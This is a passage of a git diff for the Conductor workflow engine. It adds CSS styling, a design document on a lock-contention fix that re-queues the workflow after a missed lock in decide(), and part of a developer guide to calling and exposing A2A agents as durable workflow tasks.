27.5-27.2 27.5-14.6 0-23-7.5-27.3-16.6l11-6.9zm47.4-1.5c3.2 5.3 7.5 9.2 14.9 9.2 6.3 0 10.3-3.1 10.3-7.5 0-5.2-4.1-7-11-10l-3.8-1.6c-10.9-4.6-18.1-10.4-18.1-22.7 0-11.3 8.6-19.9 22-19.9 9.6 0 16.4 3.3 21.4 12l-11.7 7.5c-2.6-4.6-5.4-6.4-9.7-6.4-4.4 0-7.2 2.8-7.2 6.4 0 4.5 2.8 6.3 9.3 9.1l3.8 1.6C114 84 121.2 89.6 121.2 102.2c0 14.4-11.3 22.3-26.5 22.3-14.8 0-24.4-7.1-29.1-16.3l12.3-7z'/%3E%3C/svg%3E"); +} + +.sdk-csharp { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 128 128'%3E%3Cpath fill='%239B4F96' d='M115.4 30.7L67.1 2.9c-.8-.5-1.9-.7-3.1-.7-1.2 0-2.3.3-3.1.7l-48 27.9c-1.7 1-2.9 3.5-2.9 5.4v55.7c0 1.1.2 2.4 1 3.5l106.8-62c-.6-1.2-1.5-2.1-2.4-2.7z'/%3E%3Cpath fill='%23068488' d='M10.7 95.3c.5.8 1.2 1.5 1.9 1.9l48.2 27.9c.8.5 1.9.7 3.1.7 1.2 0 2.3-.3 3.1-.7l48-27.9c1.7-1 2.9-3.5 2.9-5.4V36.1c0-.9-.1-1.9-.6-2.8l-106.6 62z'/%3E%3Cpath fill='%23fff' d='M85.3 76.5c-2.4 9.6-11.8 17.3-24.2 17.3-14.3 0-26.1-10.2-26.1-27.3s11.5-27.3 26.1-27.3c11.9 0 21.1 6.9 24 16.6l14.8-5.4c-5.2-15.3-18.8-25.8-38.5-25.8-22.5 0-41.1 16.6-41.1 41.9 0 25.4 18.2 41.9 41.1 41.9 19.5 0 33.8-11.3 38.7-27l-14.8-4.9z'/%3E%3Cpath fill='%23fff' d='M97 66.2h5.6v-6h5.9v6h5.6v5.9h-5.6v6.1h-5.9v-6.1H97z'/%3E%3C/svg%3E"); +} + +.sdk-ruby { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 120 120'%3E%3Crect width='120' height='120' rx='12' fill='%23CC342D'/%3E%3Cpolygon fill='white' points='60,20 95,50 80,100 40,100 25,50'/%3E%3Cpolygon fill='%23CC342D' opacity='0.3' points='60,20 95,50 60,55'/%3E%3Cpolygon fill='%23CC342D' opacity='0.2' points='95,50 80,100 60,55'/%3E%3Cpolygon fill='%23CC342D' opacity='0.15' points='25,50 60,20 60,55'/%3E%3Cpolygon fill='%23CC342D' opacity='0.1' points='25,50 40,100 60,55'/%3E%3C/svg%3E"); +} + +.sdk-rust { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 120 120'%3E%3Crect width='120' height='120' rx='12' fill='%23000'/%3E%3Ccircle cx='60' cy='60' r='34' fill='none' stroke='white' stroke-width='6'/%3E%3Ccircle cx='60' cy='24' r='5' fill='white'/%3E%3Crect x='46' y='48' width='28' height='6' rx='2' fill='white'/%3E%3Crect x='46' y='58' width='20' height='6' rx='2' fill='white'/%3E%3Crect x='46' y='68' width='10' height='6' rx='2' fill='white'/%3E%3Cline x1='58' y1='68' x2='74' y2='74' stroke='white' stroke-width='5' stroke-linecap='round'/%3E%3C/svg%3E"); +} + +/* Responsive */ +@media (max-width: 600px) { + .sdk-grid { + grid-template-columns: 1fr; + } +} + +/* ========================================================================== + Dark mode component overrides (slate scheme) + Syntax highlighting only applied in dark mode + ========================================================================== */ + +/* Slate: syntax highlighting — dark scheme */ +[data-md-color-scheme="slate"] .md-typeset pre > code .k, +[data-md-color-scheme="slate"] .md-typeset pre > code .kd, +[data-md-color-scheme="slate"] .md-typeset pre > code .kn, +[data-md-color-scheme="slate"] .md-typeset pre > code .kp, +[data-md-color-scheme="slate"] .md-typeset pre > code .kr, +[data-md-color-scheme="slate"] .md-typeset pre > code .kt, +[data-md-color-scheme="slate"] .md-typeset pre > code .keyword { color: #c084fc !important; } +[data-md-color-scheme="slate"] .md-typeset pre > code .s, +[data-md-color-scheme="slate"] .md-typeset pre > code .s1, +[data-md-color-scheme="slate"] .md-typeset pre > code .s2, +[data-md-color-scheme="slate"] .md-typeset pre > code .sb, +[data-md-color-scheme="slate"] .md-typeset pre > code .sc, +[data-md-color-scheme="slate"] .md-typeset pre > code .sd, +[data-md-color-scheme="slate"] .md-typeset pre > code .se, +[data-md-color-scheme="slate"] .md-typeset pre > code .sh, +[data-md-color-scheme="slate"] .md-typeset pre > code .si, +[data-md-color-scheme="slate"] .md-typeset pre > code .sx, +[data-md-color-scheme="slate"] .md-typeset pre > code .string { color: #22c55e !important; } +[data-md-color-scheme="slate"] .md-typeset pre > code .m, +[data-md-color-scheme="slate"] .md-typeset pre > code .mi, +[data-md-color-scheme="slate"] .md-typeset pre > code .mf, +[data-md-color-scheme="slate"] .md-typeset pre > code .mh, +[data-md-color-scheme="slate"] .md-typeset pre > code .mo, +[data-md-color-scheme="slate"] .md-typeset pre > code .number { color: #f97316 !important; } +[data-md-color-scheme="slate"] .md-typeset pre > code .c, +[data-md-color-scheme="slate"] .md-typeset pre > code .c1, +[data-md-color-scheme="slate"] .md-typeset pre > code .cm, +[data-md-color-scheme="slate"] .md-typeset pre > code .cs, +[data-md-color-scheme="slate"] .md-typeset pre > code .comment { color: #71717a !important; font-style: italic; } +[data-md-color-scheme="slate"] .md-typeset pre > code .na, +[data-md-color-scheme="slate"] .md-typeset pre > code .nb, +[data-md-color-scheme="slate"] .md-typeset pre > code .nc, +[data-md-color-scheme="slate"] .md-typeset pre > code .nd, +[data-md-color-scheme="slate"] .md-typeset pre > code .ne, +[data-md-color-scheme="slate"] .md-typeset pre > code .nf, +[data-md-color-scheme="slate"] .md-typeset pre > code .name { color: #60a5fa !important; } +[data-md-color-scheme="slate"] .md-typeset pre > code .nn, +[data-md-color-scheme="slate"] .md-typeset pre > code .no, +[data-md-color-scheme="slate"] .md-typeset pre > code .nv, +[data-md-color-scheme="slate"] .md-typeset pre > code .nt { color: #f97316 !important; } +[data-md-color-scheme="slate"] .md-typeset pre > code .p, +[data-md-color-scheme="slate"] .md-typeset pre > code .o, +[data-md-color-scheme="slate"] .md-typeset pre > code .punctuation, +[data-md-color-scheme="slate"] .md-typeset pre > code .operator { color: #a1a1aa !important; } +[data-md-color-scheme="slate"] .md-typeset pre > code .ow { color: #fb923c !important; } diff --git a/docs/design/2026-07-09-lock-contention-decider-requeue.md b/docs/design/2026-07-09-lock-contention-decider-requeue.md new file mode 100644 index 0000000..504f451 --- /dev/null +++ b/docs/design/2026-07-09-lock-contention-decider-requeue.md @@ -0,0 +1,298 @@ +# Lock-contention pause at JOIN boundaries, and the `decide()` re-queue fix + +**Repo:** `/home/nicholascole/IdeaProjects/conductor` (conductor-oss) +**PR:** conductor-oss/conductor#1259 +**Branch:** `feature/fix_lock_contention_wait_issue` + +## Context + +On Conductor 3.30.2 (Redis queue + distributed workflow-execution lock), dynamic FORK/JOIN +workflows intermittently stall for a multi-minute pause per run. The pause length matches the task +definitions' `responseTimeoutSeconds` (e.g. 600s → ~10 minutes). + +The pause is the product of three pieces that only line up on the *current* conductor-oss engine: + +1. **`ExecutionService.poll()`** postpones the workflow's decider-queue entry out to + `responseTimeoutSeconds` every time a worker polls a task + (`adjustDeciderQueuePostpone()` → `queueDAO.setUnackTimeoutIfShorter(DECIDER_QUEUE, wf, responseTimeoutSeconds*1000)`). +2. **`WorkflowExecutorOps.decide(String)`** returns `null` on a workflow-lock miss with **no + re-queue**. Its completion-event callers — `updateTask()` and `AsyncSystemTaskExecutor` (the + JOIN-completion path) — ignore that `null`, so the next task is never scheduled. +3. The **new `WorkflowSweeper`** (`org.conductoross...WorkflowSweeper`) only sweeps entries that are + **due**. The parked workflow's entry isn't due for `responseTimeoutSeconds`, so the sweeper never + runs on it during the pause window. + +Net: when the post-JOIN `decide()` loses the lock (transient contention), the workflow parks on its +far-future decider entry and nothing re-evaluates it until `responseTimeoutSeconds` elapses. + +Key participants / source anchors (links pinned to the commits below): + +| Component | Source (conductor-oss @ `bb5c3da2a`) | +|---|---| +| `poll()` → `adjustDeciderQueuePostpone()` | [`ExecutionService.java#L190`, `#L255-L272`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/com/netflix/conductor/service/ExecutionService.java#L255-L272) | +| `decide(String)` (lock acquire → re-queue → null) | [`WorkflowExecutorOps.java#L1209-L1223`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutorOps.java#L1209-L1223) | +| JOIN completion → `decide()` | [`AsyncSystemTaskExecutor.java`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/com/netflix/conductor/core/execution/AsyncSystemTaskExecutor.java) | +| due-based sweep loop (picks up the re-queued entry) | [`WorkflowSweeper.java#L171-L180`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/org/conductoross/conductor/core/execution/WorkflowSweeper.java#L171-L180) | +| workflow lock | [`ExecutionLockService.java`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/com/netflix/conductor/service/ExecutionLockService.java) | + +**Pinned commits** (so the line numbers/links stay valid): +- conductor-oss: `bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217` (branch `feature/fix_lock_contention_wait_issue`) +- orkes-conductor: `69b19299a6c888f0a3d8f0c13e6cd0b952caeb6d` (branch `feat/runtime-metadata-secret-resolution`) — private repo + +Relevant config: `responseTimeoutSeconds` (per task def, e.g. 600s), `lockTimeToTry` (default 500ms), +`lockLeaseTime` (default 60s), `workflowOffsetTimeout`. + +--- + +## Diagram 1 — The bug: JOIN completion under lock contention parks the workflow + +```mermaid +sequenceDiagram + autonumber + actor W as Worker + participant ES as ExecutionService.poll() + participant Q as QueueDAO (_deciderQueue) + participant AST as AsyncSystemTaskExecutor + participant WE as WorkflowExecutorOps.decide() + participant L as ExecutionLockService + participant SW as WorkflowSweeper (due-based) + participant X as Other thread (lock holder) + + Note over W,Q: A forked task is polled → the decider entry is pushed far into the future + W->>ES: poll(taskType) + ES->>ES: task SCHEDULED → IN_PROGRESS + ES->>Q: setUnackTimeoutIfShorter(wf, responseTimeout=600s) + Note right of Q: decider entry now due in ~600s + + Note over W,WE: Forked tasks complete — JOIN becomes ready and is executed + AST->>AST: JOIN.execute() → COMPLETED (no lock needed) + AST->>WE: decide(workflowId) [schedule task after JOIN] + + Note over X,L: contention — another decide/sweep holds the workflow lock + X-->>L: holds lock(workflowId) + WE->>L: acquireLock(workflowId) + L-->>WE: false (contended) + WE-->>AST: return null [BARE RETURN — no re-queue] + Note right of WE: integration_task_4 is NOT scheduled → workflow parked + + Note over SW,Q: recovery depends on the decider entry, which is ~600s out + loop every sweep cycle (seconds) + SW->>Q: pop(_deciderQueue, DUE only) + Q-->>SW: [] (this workflow's entry not due yet) + end + + Note over Q,SW: ~10 minutes later + Q-->>SW: pop returns workflowId (now due) + SW->>WE: decide(workflowId) + WE->>L: acquireLock(workflowId) + L-->>WE: true (lock free now) + WE->>WE: schedule integration_task_4 + Note over W,X: pause ends ≈ responseTimeoutSeconds after the contended decide +``` + +**Why it stalls:** step 10's `return null` is the lost wake-up. The sweeper (steps 11–13) cannot +help because the entry set in step 3 isn't due for ~600s — the sweeper only pops **due** messages. + +--- + +## Diagram 2 — The fix: `decide()` re-queues on the lock miss → prompt recovery + +```mermaid +sequenceDiagram + autonumber + actor W as Worker + participant ES as ExecutionService.poll() + participant Q as QueueDAO (_deciderQueue) + participant AST as AsyncSystemTaskExecutor + participant WE as WorkflowExecutorOps.decide() + participant L as ExecutionLockService + participant SW as WorkflowSweeper (due-based) + participant X as Other thread (lock holder) + + Note over W,Q: same setup — polling pushes the decider entry to responseTimeout + W->>ES: poll(taskType) + ES->>Q: setUnackTimeoutIfShorter(wf, responseTimeout=600s) + + AST->>AST: JOIN.execute() → COMPLETED + AST->>WE: decide(workflowId) + X-->>L: holds lock(workflowId) + WE->>L: acquireLock(workflowId) + L-->>WE: false (contended) + + rect rgb(230, 245, 230) + Note right of WE: FIX — re-queue before returning null + WE->>Q: push(_deciderQueue, wf, offset = lockTimeToTry/2 ~= 250ms) + WE-->>AST: return null + end + Note right of Q: decider entry now due in ~250ms (not 600s) + + Note over SW,Q: the entry is now due in ~250ms; the sweeper pops it once due + X-->>L: releaseLock(workflowId) + Q-->>SW: pop returns workflowId (due) + SW->>L: sweep() acquireLock(workflowId) + L-->>SW: true (lock free now) + SW->>WE: decide(workflowId) [reentrant — sweeper already holds the lock] + WE->>WE: schedule integration_task_4 + Note over W,X: recovery in sub-second–seconds, independent of responseTimeoutSeconds +``` + +The single re-queue lives in `decide(String)`, so it covers every completion-event caller — +`updateTask` and `AsyncSystemTaskExecutor`. Contention is transient (millisecond-scale), so by the +time the re-queued entry is due (~`lockTimeToTry/2` later) the lock is free; the sweeper then acquires +it and the nested `decide()` runs reentrantly. No change to `WorkflowSweeper` is required. + +> Note: `decide()` called *from the sweeper* never hits the lock-miss branch — `sweep()` already +> holds the workflow lock at its top level and the lock is reentrant, so the nested `decide()` +> re-acquire always succeeds. The re-queue therefore only ever fires from the completion-event +> callers, which is exactly the path that was losing the wake-up. + +--- + +## The fix, precisely + +**The fix** — `WorkflowExecutorOps.decide(String)`, on a lock miss, re-queues with a +**contention-scale** backoff (`lockTimeToTry/2`, floor 100ms) before returning `null` +([`WorkflowExecutorOps.java#L1213-L1223`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutorOps.java#L1213-L1223)): + +```java +// core/.../execution/WorkflowExecutorOps.java (decide(String), lines 1213-1223) +if (!lockAcquired) { + // Lock contention is transient (millisecond-scale). Re-queue the workflow for a prompt + // retry ... does not silently fall back to the workflow's decider-queue entry, which a + // polled task postpones out to responseTimeoutSeconds (the multi-minute pause). Backoff is + // lockTimeToTry-scale, not lockLeaseTime-scale (the latter is only for an orphaned lock). + long backoffMillis = Math.max(properties.getLockTimeToTry().toMillis() / 2, 100); + queueDAO.push(DECIDER_QUEUE, workflowId, 0, Duration.ofMillis(backoffMillis)); + return null; +} +``` + +Backoff is `lockTimeToTry`-scale (contention is a millisecond event), **not** `lockLeaseTime`-scale. +The Redis queue's `push(..., Duration)` overload preserves sub-second offsets. + +**The postpone that creates the long park** — `ExecutionService.adjustDeciderQueuePostpone()`, called +from `poll()`, pushes the decider entry out to `responseTimeoutSeconds` +([`ExecutionService.java#L255-L267`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/main/java/com/netflix/conductor/service/ExecutionService.java#L255-L267)): + +```java +// core/.../service/ExecutionService.java (lines 255-267; called from poll() at L190) +private void adjustDeciderQueuePostpone(TaskModel taskModel, TaskDef taskDef) { + long responseTimeoutSeconds = + (taskDef != null && taskDef.getResponseTimeoutSeconds() != 0) + ? taskDef.getResponseTimeoutSeconds() + : taskModel.getResponseTimeoutSeconds(); + if (responseTimeoutSeconds == 0) return; + queueDAO.setUnackTimeoutIfShorter( + Utils.DECIDER_QUEUE, taskModel.getWorkflowInstanceId(), responseTimeoutSeconds * 1000); +} +``` + +**`WorkflowSweeper` is unchanged.** The sweeper already pops **due** decider entries and calls +`decide(String)`; once `decide()` re-queues the workflow at a short offset, the existing sweeper +picks it up as soon as it is due. No sweeper-side change is needed for the reported bug, so this PR +touches only `WorkflowExecutorOps.decide(String)`. (An earlier draft added a `sweep()`-side re-queue +as a backstop; it was dropped after the end-to-end test confirmed recovery is driven entirely by the +`decide()` re-queue — see Verification.) + +## Why orkes-conductor was never affected (comparison) + +orkes-conductor already does **exactly this fix**, and has for a long time — just in its own +executor. Its active `WorkflowExecutor` bean is `OrkesWorkflowExecutor` (`@Component @Primary`, which +overrides `oss-core`'s `WorkflowExecutorOps`), and its `decide(String)` re-queues on a lock miss with +the **same `lockTimeToTry/2` backoff** this PR adds to conductor-oss. + +> Correction to an earlier draft of this doc: the `oss-core` `WorkflowExecutorOps.decide()` bare +> `return null` is real, but it is **not on the runtime path** in orkes — `@Primary` +> `OrkesWorkflowExecutor` replaces it. The executor orkes actually runs re-queues. + +### Diagram 3 — orkes-conductor: the active executor re-queues on the lock miss (mirrors Diagram 2) + +```mermaid +sequenceDiagram + autonumber + participant C as completion event (updateTask / system task) + participant WE as OrkesWorkflowExecutor.decide (Primary) + participant L as ExecutionLockService + participant Q as QueueDAO (_deciderQueue) + participant SW as WorkflowReconciler + legacy sweeper + participant X as Other thread (lock holder) + + C->>WE: decide(workflowId) + X-->>L: holds lock(workflowId) + WE->>L: acquireLock(workflowId) + L-->>WE: false (contended) + rect rgb(230, 245, 230) + Note right of WE: re-queue with lockTimeToTry/2 backoff (same mechanism as the conductor-oss fix) + WE->>Q: push(_deciderQueue, wf, FIFO priority, Duration.ofMillis(lockTimeToTry/2)) + WE-->>C: return null + end + Note right of Q: entry due in ~250ms — never postponed to responseTimeout (no adjustDeciderQueuePostpone) + + loop reconciler scheduled every sweep-frequency (default 500ms) + SW->>Q: pop(_deciderQueue, DUE only) + alt entry due + Q-->>SW: workflowId + SW->>WE: decide(workflowId) + alt lock free now + WE->>WE: acquire lock, schedule next task + else still contended + WE->>Q: push(_deciderQueue, wf, lockTimeToTry/2) + end + else not due yet + Q-->>SW: empty + end + end + Note over C,X: recovers in sub-second–seconds, same as the conductor-oss fix +``` + +**The active executor's re-queue** — `OrkesWorkflowExecutor.decide(String)`, `@Primary` +([`OrkesWorkflowExecutor.java#L756-L762` @ `8c963075`](https://github.com/orkes-io/orkes-conductor/blob/8c963075a04aff9f75481e39ceef7536791f9c56/server/src/main/java/com/netflix/conductor/core/execution/OrkesWorkflowExecutor.java#L756-L762)): + +```java +// orkes-conductor server/.../execution/OrkesWorkflowExecutor.java (@Primary; L756-762 @ 8c963075) +if (!executionLockService.acquireLock(workflowId)) { + // Let's try again... with the lockTime timeout / 2 + int backoff = (int) (properties.getLockTimeToTry().toMillis() / 2); + log.debug("can't get a lock on {}, will try after {} ms with priority: {}", + workflowId, backoff, getWorkflowFIFOPriority(workflowId, 0)); + queueDAO.push(DECIDER_QUEUE, workflowId, getWorkflowFIFOPriority(workflowId, 0), Duration.ofMillis(backoff)); + return null; +} +``` + +This is the conductor-oss fix, essentially one-to-one: + +| | conductor-oss fix (`WorkflowExecutorOps.decide()`) | orkes `OrkesWorkflowExecutor.decide()` (`@Primary`) | +|---|---|---| +| re-queue on lock miss | yes | yes | +| backoff | `lockTimeToTry/2` (floor 100ms) | `lockTimeToTry/2` | +| queue offset | `Duration.ofMillis(...)` | `Duration.ofMillis(...)` | +| priority arg | `0` | `getWorkflowFIFOPriority(workflowId, 0)` | + +**Secondary reasons orkes never parked long** (defense in depth; both verified by grep at `69b19299`): +- No `adjustDeciderQueuePostpone` / `setUnackTimeoutIfShorter(responseTimeout)` — the decider entry is + never pushed out to `responseTimeout` in the first place. +- The legacy `WorkflowSweeper.sweep()` also unconditionally re-queues at a flat `workflowOffsetTimeout` + (~30s) on every sweep + ([`oss-core/.../reconciliation/WorkflowSweeper.java#L66-L97`](https://github.com/orkes-io/orkes-conductor/blob/69b19299a6c888f0a3d8f0c13e6cd0b952caeb6d/oss-core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowSweeper.java#L66-L97)). + +**Conclusion:** orkes was never exposed because its `@Primary` executor already re-queues on the +decide lock-miss — the very behavior this PR ports into conductor-oss's `WorkflowExecutorOps`. The +conductor-oss bug arose only because its executor had a bare `return null` **and** the newer engine +stopped unconditionally re-queuing in the sweeper while `adjustDeciderQueuePostpone` pushed the entry +out to `responseTimeout`. + +## Verification + +- [`TestWorkflowExecutor.testDecideReQueuesWorkflowOnLockMiss`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutor.java) + — unit: `decide()` lock miss pushes to `_deciderQueue` at the short backoff and returns null (fails + against the old bare return). +- [`DynamicForkJoinLockContentionSpec`](https://github.com/conductor-oss/conductor/blob/bb5c3da2a1ac3cdedaa1c8ac1c0709228a2fa217/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinLockContentionSpec.groovy) + — e2e: real dynamic fork/join driven to the JOIN boundary, workflow lock held from a foreign + thread, JOIN run (post-completion decide misses the lock), lock released, then asserts + `integration_task_4` is scheduled within seconds **via the real background sweeper** (no manual + sweep). Times out without the fix; the no-contention control passes either way. +- **Sweeper left unchanged, verified sufficient:** `DynamicForkJoinLockContentionSpec` was also run + with the `decide(String)` re-queue in place but `WorkflowSweeper` reverted to its pre-PR form — + both cases still pass. This confirms recovery is driven entirely by the `decide()` re-queue and the + existing due-based sweeper, so no sweeper-side change is included in this PR. diff --git a/docs/devguide/ai/a2a-integration.md b/docs/devguide/ai/a2a-integration.md new file mode 100644 index 0000000..3c3d0de --- /dev/null +++ b/docs/devguide/ai/a2a-integration.md @@ -0,0 +1,620 @@ +--- +description: "A2A (Agent2Agent) integration with Conductor — call remote agents as durable workflow tasks, and expose Conductor workflows as A2A agents. Crash-safe, resumable, observable." +--- + +# A2A integration + +[A2A (Agent2Agent)](https://a2a-protocol.org/) is an open protocol for agents to talk to one another over HTTP/JSON-RPC. Conductor integrates A2A in **both directions**: + +- **Client** — call a remote A2A agent from a workflow as a durable system task (`AGENT`, `GET_AGENT_CARD`, `CANCEL_AGENT`). +- **Server** — expose any Conductor workflow as an A2A agent that other A2A clients (Google ADK, CrewAI, LangGraph, another Conductor) can discover and invoke. + +The integration is **durable**: a remote agent call survives a server crash, restart, or redeploy, and resumes from where it left off — the call's state lives in the workflow execution, not in a thread. + + +## What is A2A + +A2A standardizes three things: an **Agent Card** (a `/.well-known/agent-card.json` document describing an agent's skills), a **JSON-RPC** surface (`message/send`, `tasks/get`, `tasks/cancel`, …), and a **task lifecycle** (`submitted → working → input-required → completed/failed/canceled`). An agent runs a long task; the client polls (or is pushed) until it reaches a terminal state. + +Conductor maps this lifecycle onto its own durable task model, so a remote agent task behaves like any other Conductor task — retried, timed out, observed, and resumed by the engine. + +Conductor speaks A2A in **both directions**: a workflow can *call* remote agents (client), and a workflow can *be* an agent that external A2A clients call (server). + +```mermaid +flowchart LR + ExtClient["External A2A client
    (Google ADK · CrewAI · LangGraph · another Conductor)"] + Remote["Remote A2A agent"] + subgraph C["Conductor"] + WF["Workflow execution
    (durable · resumable · observable)"] + end + ExtClient -->|"server: message/send starts the workflow"| WF + WF -->|"client: AGENT task sends message/send"| Remote +``` + + +## Call a remote agent from a workflow (client) + +*Direction A — Conductor is the A2A client.* These tasks require the AI integration to be enabled: + +```properties +conductor.integrations.ai.enabled=true +``` + +Each task takes an **`agentType`** input that selects the agent runtime. It defaults to `"a2a"` (Agent2Agent — the only runtime in OSS today); native runtimes such as LangGraph and OpenAI are planned, and the field is the extension point for them. An unrecognized `agentType` fails the task with a clear error. + +### AGENT — send a message to an agent + +Sends an A2A `message/send` and works the resulting agent task to a terminal state. Non-blocking: a fast reply completes immediately; long-running work moves to `IN_PROGRESS` and is polled at a cadence (no worker thread is held). + +```mermaid +sequenceDiagram + autonumber + participant WF as Conductor workflow + participant T as AGENT task + participant R as Remote A2A agent + WF->>T: schedule { agentUrl, message } + T->>R: message/send (idempotencyKey = deterministic messageId) + R-->>T: Task { state: working } + alt poll (default) / push backstop + loop until terminal or input-required + T->>R: tasks/get + R-->>T: Task { working → completed } + end + else streaming + R-->>T: SSE status-update / artifact-update … + end + T-->>WF: artifacts + state as task output +``` + +```json +{ + "name": "call_currency_agent", + "taskReferenceName": "agent", + "type": "AGENT", + "inputParameters": { + "agentType": "a2a", + "agentUrl": "https://currency-agent.example.com", + "text": "convert 100 USD to EUR", + "pollIntervalSeconds": 5, + "headers": { + "Authorization": "Bearer ${workflow.input.agentToken}" + } + } +} +``` + +**Key inputs** (see `A2ACallRequest`): + +| Field | Description | +|---|---| +| `agentType` | Agent runtime to use — defaults to `"a2a"`. Reserved for native runtimes (e.g. `langgraph`, `openai`) coming later; any other value is rejected today. | +| `agentUrl` | Base URL of the remote agent (required). | +| `text` / `prompt` | Convenience for a single text part. | +| `parts` / `message` | A full A2A message (multi-part / data parts) instead of `text`. | +| `contextId`, `taskId` | Continue an existing conversation / resume an agent task (multi-turn). | +| `headers` | Per-call HTTP headers (e.g. auth). Reference credentials via workflow inputs/secrets rather than hardcoding them. | +| `pollIntervalSeconds` | Poll cadence in poll mode (default 5). | +| `streaming` | `true` → consume `message/stream` (SSE) and aggregate to completion. | +| `pushNotification` | `true` → the agent calls back our webhook on completion (see below). | +| `maxDurationSeconds` | Absolute deadline (default 86400). | +| `maxPollFailures` | Consecutive transient poll failures tolerated before failing (default 30). | + +**Output** (`agent.output`): `state` (the A2A task state), `taskId` and `contextId` (for resumption), `artifacts`, `text` (extracted text), `agentMessage`, and the full `task` object. For a completed call it looks like: + +```json +{ + "state": "completed", + "taskId": "task-7f3a", + "contextId": "ctx-7f3a", + "text": "100 USD = 92.40 EUR", + "artifacts": [ + { "artifactId": "result", "parts": [ { "kind": "text", "text": "100 USD = 92.40 EUR" } ] } + ] +} +``` + +Downstream tasks read these with `${agent.output.text}`, `${agent.output.taskId}`, etc. + +#### Three execution modes + +- **Poll** (default) — the task is `IN_PROGRESS` and polled via `tasks/get` at `pollIntervalSeconds`. No thread is held between polls; the call survives restarts. +- **Streaming** (`streaming: true`) — consumes the agent's SSE stream and aggregates events. Requires `capabilities.streaming=true` on the agent card. Holds a thread for the stream's duration. +- **Push** (`pushNotification: true`) — the agent calls Conductor's webhook when the task finishes, so nothing polls in the meantime. Requires `conductor.a2a.callback.url`. A slow **backstop poll** still runs (`pushBackstopPollSeconds`, default 300) so a lost webhook can't hang the task. + +#### Push notifications — end to end + +**1. Configure the externally-reachable callback base URL** (where the agent can reach Conductor): + +```properties +conductor.integrations.ai.enabled=true +conductor.a2a.callback.url=https://conductor.example.com +``` + +**2. Ask for push on the task:** + +```json +{ + "name": "call_research_agent", + "taskReferenceName": "agent", + "type": "AGENT", + "inputParameters": { + "agentUrl": "https://research-agent.example.com", + "text": "research durable agent protocols", + "pushNotification": true, + "pushBackstopPollSeconds": 300 + } +} +``` + +**3. What Conductor sends** — the `message/send` carries a `pushNotificationConfig` pointing at a +per-task webhook, with a single-use bearer token (a `{uuid}:{expiryEpochMillis}` value, 24h TTL): + +```json +{ + "method": "message/send", + "params": { + "message": { "role": "user", "messageId": "a2a-...", "parts": [ { "kind": "text", "text": "research durable agent protocols" } ] }, + "configuration": { + "pushNotificationConfig": { + "url": "https://conductor.example.com/api/a2a/callback/", + "token": "3f9c…:1750300000000", + "authentication": { "schemes": ["Bearer"], "credentials": "3f9c…:1750300000000" } + } + } + } +} +``` + +The `AGENT` task then **waits** (holds no worker thread) until the webhook arrives; the backstop +poll runs only as a safety net. + +**4. The agent calls back** when the task reaches a terminal/interrupted state — Conductor verifies +the token (constant-time + expiry), fetches the final task via `tasks/get`, and completes the +workflow task: + +```bash +curl -X POST https://conductor.example.com/api/a2a/callback/ \ + -H 'Authorization: Bearer 3f9c…:1750300000000' \ + -H 'Content-Type: application/json' \ + -d '{ "taskId": "", "status": { "state": "completed" } }' +# → 200 OK; the AGENT task is now COMPLETED with the agent's output. +``` + +Agents that don't support the `authentication` field fall back to a `?token=` query parameter on the +callback URL, which the endpoint still accepts (with a deprecation warning, since tokens in URLs land +in access logs). + +### GET_AGENT_CARD — discover an agent + +```json +{ + "name": "discover_agent", + "taskReferenceName": "discover", + "type": "GET_AGENT_CARD", + "inputParameters": { "agentUrl": "https://currency-agent.example.com" } +} +``` + +Resolves the agent card from `/.well-known/agent-card.json` (falling back to the legacy `/.well-known/agent.json`) and returns the parsed skills/capabilities — feed it to an LLM so it can pick a skill at runtime. + +### CANCEL_AGENT — cancel a running agent task + +```json +{ + "name": "cancel_agent_task", + "taskReferenceName": "cancel", + "type": "CANCEL_AGENT", + "inputParameters": { + "agentUrl": "https://currency-agent.example.com", + "taskId": "${agent.output.taskId}" + } +} +``` + +### Multi-turn (input-required) + +When a remote task reaches `input-required` (or `auth-required`), `AGENT` **completes** and surfaces the agent's question plus the `taskId`/`contextId` in its output. The workflow branches on that state and issues another `AGENT` task with the **same `taskId` and `contextId`** carrying the answer — resuming the same remote task rather than starting a new conversation: + +```json +{ + "name": "branch_on_state", + "taskReferenceName": "branch", + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "state", + "inputParameters": { "state": "${ask.output.state}" }, + "decisionCases": { + "input-required": [ + { + "name": "answer_agent", "taskReferenceName": "answer", "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${workflow.input.answer}", + "contextId": "${ask.output.contextId}", + "taskId": "${ask.output.taskId}" + } + } + ] + }, + "defaultCase": [] +} +``` + +Full example: `ai/examples/29-a2a-client-multi-turn.json`. + +### Orchestrating multiple agents + +Because each `AGENT` is an ordinary durable task, you compose agents with the usual Conductor operators — e.g. **`FORK_JOIN`** to call several agents in parallel, **`JOIN`** to gather results. Every branch is independently crash-safe: if Conductor restarts mid-flight, each in-flight agent call resumes from persisted state (`ai/examples/27-a2a-multi-agent.json`). To let an LLM pick which skill to use, chain 